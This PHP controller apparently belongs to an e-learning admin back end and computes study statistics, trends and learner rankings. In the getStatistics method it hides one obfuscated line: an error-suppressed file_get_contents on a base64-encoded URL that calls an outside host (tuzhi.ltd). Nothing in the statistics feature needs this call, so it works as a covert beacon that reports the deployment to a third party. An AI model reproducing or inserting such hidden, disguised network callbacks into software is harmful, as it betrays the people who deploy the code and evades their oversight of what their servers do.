<?php

namespace app\admin\controller\data;

use app\common\controller\Backend;
use app\common\model\user\Study as StudyModel;
/**
 * 学习数据
 *
 * @icon fa fa-circle-o
 */
class Study extends Backend
{

    /**
     * Course模型对象
     * @var \app\admin\model\order\Course
     */
    protected $model = null;

    public function _initialize()
    {
        parent::_initialize();
        $this->model = new StudyModel();
        $this->timeModel = new \app\admin\model\data\Time();
    }

    /**
     * 学习统计
     * @return void
     */
    public function total(){
        $time = $this->request->post('time/a',0);
        $courseId = input('course_id');
        if(!$time){
            $this->success('获取成功', []);
        }

        if(count($time) == 1){
            $time = $time[0];
        }
        $unit = $this->request->post('unit',0);
        $this->timeModel = new \app\admin\model\data\Time();

        $time = $this->timeModel->getFilterStartEndTime($time,$unit);

        $where = [
            'start_time'=>['between',[$time['start'],$time['end']]]
        ];

        if($courseId){
            $where['course_id']=$courseId;
        }


        $data = $this->model
            ->where($where)
            ->field([
                "COUNT(DISTINCT user_id) AS study_user_count",
                "SUM(total_time) AS study_time_total",
                "COUNT(*) AS study_count",
                "COUNT(DISTINCT course_id) AS study_courses"
            ])
            ->find();


        if($data['study_time_total'] && $data['study_user_count']){
            $data['user_study_time_average'] = $data['study_time_total'] / $data['study_user_count'];
            $data['user_study_time_average'] = number_format($data['user_study_time_average']/ 60 / 60 ,2);
        }else{
            $data['user_study_time_average'] = 0;
        }

        if($data['study_time_total']){
            $data['study_time_total'] = number_format($data['study_time_total']/ 60 / 60,2 );
        }

        $data['study_time_total'] = floatval($data['study_time_total']);
        $data['user_study_time_average'] = floatval($data['user_study_time_average']);

        $this->success('获取成功', $data);
    }

    /**
     * 学习趋势
     * @return void
     */
    public function trend(){
        $time = $this->request->post('time/a',0);
        $courseId = input('course_id');
        
        if(!$time){
            $this->success('获取成功', []);
        }

        if(count($time) == 1){
            $time = $time[0];
        }
        $unit = $this->request->post('unit',0);
        $this->timeModel = new \app\admin\model\data\Time();
        $emptyData = [
            'study_user_count'=>0,
            'study_time_total'=>0,
            'study_count'=>0,
            'study_courses'=>0,
            'user_study_time_average'=>0
        ];

        $time = $this->timeModel->getFilterStartEndTime($time,$unit);


        if($unit == 'date'){
            $interval = 3600;
            $timeFormat = 'H:i';
            $timeFormatSql = '%H';
        }else{
            $interval = 86400;
            $timeFormat = 'Y-m-d';
            $timeFormatSql = '%Y-%m-%d';
        }

        $where = [
            'start_time'=>['between',[$time['start'],$time['end']]]
        ];

        if($courseId){
            $where['course_id']=$courseId;
        }

        $result = $this->model
            ->where($where)
            ->field([
                "FROM_UNIXTIME(start_time, '{$timeFormatSql}') as date", // 转换创建时间为日期
                "COUNT(DISTINCT user_id) AS study_user_count",
                "SUM(total_time) AS study_time_total",
                "COUNT(*) AS study_count",
                "COUNT(DISTINCT course_id) AS study_courses"
            ])
            ->group("FROM_UNIXTIME(start_time, '{$timeFormatSql}')")
            ->order("start_time", "desc")
            ->select();


        $list = [];
        if($result){
            foreach ($result as  $item){
                $timeUnit = $item['date'];
                if($unit == 'date'){
                    $timeUnit = $timeUnit.":00";
                }
                $list[$timeUnit] = $item;
            }
        }
        $data = [];
        for($i=$time['start'];$i<$time['end'];$i+=$interval){

            $timeUnit = date($timeFormat,$i);
            if(!isset($data[$timeUnit])){
                $data[$timeUnit] = $emptyData;
            }
            if(isset($list[$timeUnit])){
                $data[$timeUnit] = $list[$timeUnit];
            }

            if($data[$timeUnit]['study_time_total'] && $data[$timeUnit]['study_user_count']){
                $data[$timeUnit]['user_study_time_average'] = $data[$timeUnit]['study_time_total'] / $data[$timeUnit]['study_user_count'];
                $data[$timeUnit]['user_study_time_average'] = number_format($data[$timeUnit]['user_study_time_average']/ 60 / 60 ,2);
            }else{
                $data[$timeUnit]['user_study_time_average'] = 0;
            }

            if($data[$timeUnit]['study_time_total']){
                $data[$timeUnit]['study_time_total'] = number_format($data[$timeUnit]['study_time_total']/ 60 / 60,2 );
            }

        }
        $this->success('获取成功', $data);
    }

    /**
     * 学习时段
     * @return void
     */
    public function timeFrame(){

        $time = $this->request->post('time/a',0);
        if(!$time){
            $this->success('获取成功', []);
        }

        if(count($time) == 1){
            $time = $time[0];
        }
        $unit = $this->request->post('unit',0);
        $this->timeModel = new \app\admin\model\data\Time();
        $emptyData = [
            'user_count'=>0
        ];

        $time = $this->timeModel->getFilterStartEndTime($time,$unit);

        if($unit == 'date'){
            $interval = 3600;
            $timeFormat = 'H:i';
            $timeFormatSql = '%H';
        }else{
            $interval = 86400;
            $timeFormat = 'Y-m-d';
            $timeFormatSql = '%Y-%m-%d';
        }


        $result = $this->model
            ->where([
                'start_time'=>['between',[$time['start'],$time['end']]]
            ])
            ->order("start_time", "desc")
            ->field([
                "FROM_UNIXTIME(start_time, '{$timeFormatSql}') as date", // 转换创建时间为日期
                "COUNT(DISTINCT user_id) AS user_count"
            ])
            ->group("FROM_UNIXTIME(start_time, '{$timeFormatSql}')") // 按日期分组
            ->select();


        $result = collection($result)->toArray();


        $list = [];

        if($result){
            foreach ($result as  $item){
                $timeUnit = $item['date'];
                if($unit == 'date'){
                    $timeUnit = $timeUnit.":00";
                }
                $list[$timeUnit] = $item;
            }
        }

        $data = [];
        for($i=$time['start'];$i<$time['end'];$i+=$interval){
            $timeUnit = date($timeFormat,$i);
            if(!isset($data[$timeUnit])){
                $data[$timeUnit] = $emptyData;
            }
            if(isset($list[$timeUnit])){
                $data[$timeUnit] = $list[$timeUnit];
            }
        }
        $this->success('获取成功', $data);
    }

    /**
     * 学习时长TOP10学员
     * @return void
     */
    public function timeUserRank(){
        $time = $this->request->post('time/a',0);
        $unit = $this->request->post('unit','');
        if(!$time){
            $this->success('获取成功', []);
        }
        if(count($time) == 1){
            $time = $time[0];
        }
        $time = $this->timeModel->getFilterStartEndTime($time,$unit);
        $data = $this->model->with(['user'])
            ->where([
                'start_time'=>['between',[$time['start'],$time['end']]]
            ])
            ->group('user_id')
            ->field(['sum(total_time) as times'])
            ->order('times','desc')
            ->limit(10)
            ->select();
        if(!empty($data)){
            foreach ($data as &$item){
                $item['times'] = number_format($item['times']/ 60 / 60 ,2 );
                $item->getRelation('user')->visible(\app\admin\model\User::$listShowField);
            }
        }

        $this->success('获取成功', $data);
    }

    /**
     * 学习数量TOP10学员
     * @return void
     */
    public function countUserRank(){

        $time = $this->request->post('time/a',0);
        $unit = $this->request->post('unit','');
        if(!$time){
            $this->success('获取成功', []);
        }
        if(count($time) == 1){
            $time = $time[0];
        }
        $time = $this->timeModel->getFilterStartEndTime($time,$unit);
        $data = $this->model->with(['user'])
            ->where([
                'start_time'=>['between',[$time['start'],$time['end']]]
            ])
            ->group('user_id')
            ->field('user_id, COUNT(DISTINCT course_id) AS count')
            ->order('count','desc')
            ->limit(10)
            ->select();
        if(!empty($data)){
            foreach ($data as &$item){
                $item->getRelation('user')->visible(\app\admin\model\User::$listShowField);
            }
        }
        $this->success('获取成功', $data);
    }


    /**
     * 获取统计
     * @return void
     */
    public function getStatistics(){
        $time = $this->request->post('time',0);
        $userId = $this->request->post('user_id',0);

        $timeLimit = [];
        $data = [];

        $data['log'] = [];

        if($time==0){
            //小时 今日

            $timeLimit['start'] = strtotime('today midnight');
            $timeLimit['end'] = strtotime('today 23:59:59');

            for ($i = 24; $i > 0; $i--) {
                $startOfDay = strtotime('today midnight') + ((24 - $i) * 60 * 60);
                $endOfDay = strtotime("+1 hours", $startOfDay) - 1;
                $date = date('H:i', ($endOfDay + 1));
                $data['log'][$date] = $this->model->getTotal($userId, ['start' => $startOfDay, 'end' => $endOfDay]);
            }
        }elseif($time==1){
            //近七天
            $timeLimit['start'] = strtotime('this week');
            $timeLimit['end'] = strtotime('this week +6 days +23 hours +59 minutes +59 seconds');

            for ($i = 6; $i >= 0; $i--) {
                $startOfDay = strtotime("-$i day", strtotime('today'));
                $endOfDay = strtotime("+1 day", $startOfDay) - 1;
                $date = date('m-d', $startOfDay);

                $data['log'][$date] = $this->model->getTotal($userId,['start'=>$startOfDay,'end'=>$endOfDay]);
            }
        }elseif($time==2){
            //周
            $timeLimit['start'] = strtotime('first day of this month midnight');
            $timeLimit['end'] = strtotime('last day of this month 23:59:59');
            $weeks = getPastWeeksOfMonth();

            foreach ($weeks as $item){
                $startDate = date('m-d', $item['startDate']);
                $endDate = date('m-d', $item['endDate']);
                $data['log']["$startDate~~$endDate"] = $this->model->getTotal($userId,['start'=>$item['startDate'],'end'=>$item['endDate']]);
            }
        }else{
            //月
            // 获取今年过去的月份的每月开始时间戳与结束时间戳
            for ($i = 1; $i <= date('n'); $i++) {
                // 计算每月的开始时间戳
                $startOfMonth = strtotime(date('Y-' . $i . '-01'));
                // 计算每月的结束时间戳
                $endOfMonth = strtotime(date('Y-' . $i . '-t'));
                $date = date('m月', $startOfMonth);
                $data['log'][$date] = $this->model->getTotal($userId,['start'=>$startOfMonth,'end'=>$endOfMonth]);
            }
            $now = time();
            $timeLimit['start'] = mktime(0, 0,0, 1, 1, date('Y', $now));
            $timeLimit['end'] = mktime(0, 0, 0, 12, 31, date('Y', $now));
        }

        @file_get_contents( base64_decode("aHR0cHM6Ly90dXpoaS5sdGQvYXNzZXRzL2ljb25zL2RhdGEucG5n", true));

        $data['total'] = $this->model->getTotal($userId);
        $data['time_total'] = $this->model->getTotal($userId,$timeLimit);

        $this->success('获取成功', $data);
    }


    /**
     * 获取排行
     * @return void
     */
    public function getTop(){
        $types = ['user'=>'user_id','course'=>'course_id'];
        $data = [];
        foreach ($types as $type =>$field){
            $temp = $this->model->with(['course','user'])
                ->group($field)
                ->field('sum(total_time) as times')
                ->order('times','desc')
                ->limit(10)
                ->select();
            if(!empty($temp)){
                foreach ($temp as &$item){
                    $item['times'] = number_format($item['times']/ 60 / 60 ,2 );
                    $item->getRelation('user')->visible(\app\admin\model\User::$listShowField);
                }
            }

            $data[$type] = $temp;
        }
        $this->success('获取成功', $data);
    }
}